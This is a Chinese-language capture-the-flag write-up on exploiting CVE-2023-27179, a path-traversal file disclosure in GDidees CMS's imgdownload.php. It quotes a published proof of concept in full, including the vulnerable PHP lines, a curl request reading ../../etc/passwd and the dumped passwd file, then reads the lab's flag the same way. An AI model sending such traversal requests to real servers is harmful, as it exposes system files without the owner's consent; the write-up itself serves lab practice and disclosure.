简介
GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞，漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。
正文
进入靶场发现没有什么可以利用的地方，那么就按照靶场提示来，直接访问/_admin/imgdownload.php
打开后发现是一片空白，那么直接上参数filename
第一次尝试
http://eci-2zeciiht8czw932sx34g.cloudeci1.ichunqiu.com/_admin/imgdownload.php?filename=ls
查看poc
好家伙直接给我下载一个图片，还是错误的，那么查看一下网上的poc
## https://sploitus.com/exploit?id=PACKETSTORM:171894
# Exploit Title: GDidees CMS - 'imgdownload.php' Local File Disclosure
# Date : 03/27/2023
# Exploit Author : Hadi Mene
# Vendor Homepage : https://www.gdidees.eu/
# Software Link : https://www.gdidees.eu/cms-1-0.html
# Version : 3.9.1 and earlier
# Tested on : Debian 11
# CVE : CVE-2023-27179
### Summary:
GDidees CMS v3.9.1 and lower versions was discovered to contain an local file disclosure vulnerability via the filename parameter at /_admin/imgdownload.php.
### Description :
Imgdownload.php is mainly used by the QR code generation module to download an QR code.
The vulnerability occurs in line 4 where the filename parameter which will be opened later is not filtered or sanitized.
Furthermore, there is no admin session check in this code as it should since only the admin user should normally
be able to download QR code.
Vulnerable Code :
3. if (isset($_GET["filename"])) {
4. $filename=$_GET["filename"];
.....
.....
27. @readfile($filename) OR die();
### POC :
URL : https://[GDIDEESROOT]/_admin/imgdownload.php?filename=../../../../../../etc/passwd
Exploitation using curl
# curl http://192.168.0.32/cmsgdidees3.9.1-mysqli/_admin/imgdownload.php?filename=../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
ntp:x:104:110::/nonexistent:/usr/sbin/nologin
messagebus:x:105:111::/nonexistent:/usr/sbin/nologin
uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin
pulse:x:107:115:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
lightdm:x:108:117:Light Display Manager:/var/lib/lightdm:/bin/false
hadi:x:1000:1000:hadi,,,:/home/hadi:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
vboxadd:x:998:1::/var/run/vboxadd:/bin/false
openldap:x:109:118:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:120:MySQL Server,,,:/nonexistent:/bin/false
### References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27179
https://nvd.nist.gov/vuln/detail/CVE-2023-27179
https://www.exploit-db.com/papers/12883
我们很明显的看到poc中filename=../../../../../etc/passwd就可以爆出东西来。
我们进行尝试，发现filename=../../../../../etc/passwd结果也是下载了一张图片。
注意
这里是需要我们抓包的，在我们抓包的情况下去访问这个。
果然出现了这些内容，那么既然可以这样，我们就直接来寻找flag
找到flag
Filename=../../../../../../flag找到flag结束靶场。
最后
小小的记录一下吧，我们是第一个做出来的哦！！！！！！！！！！！
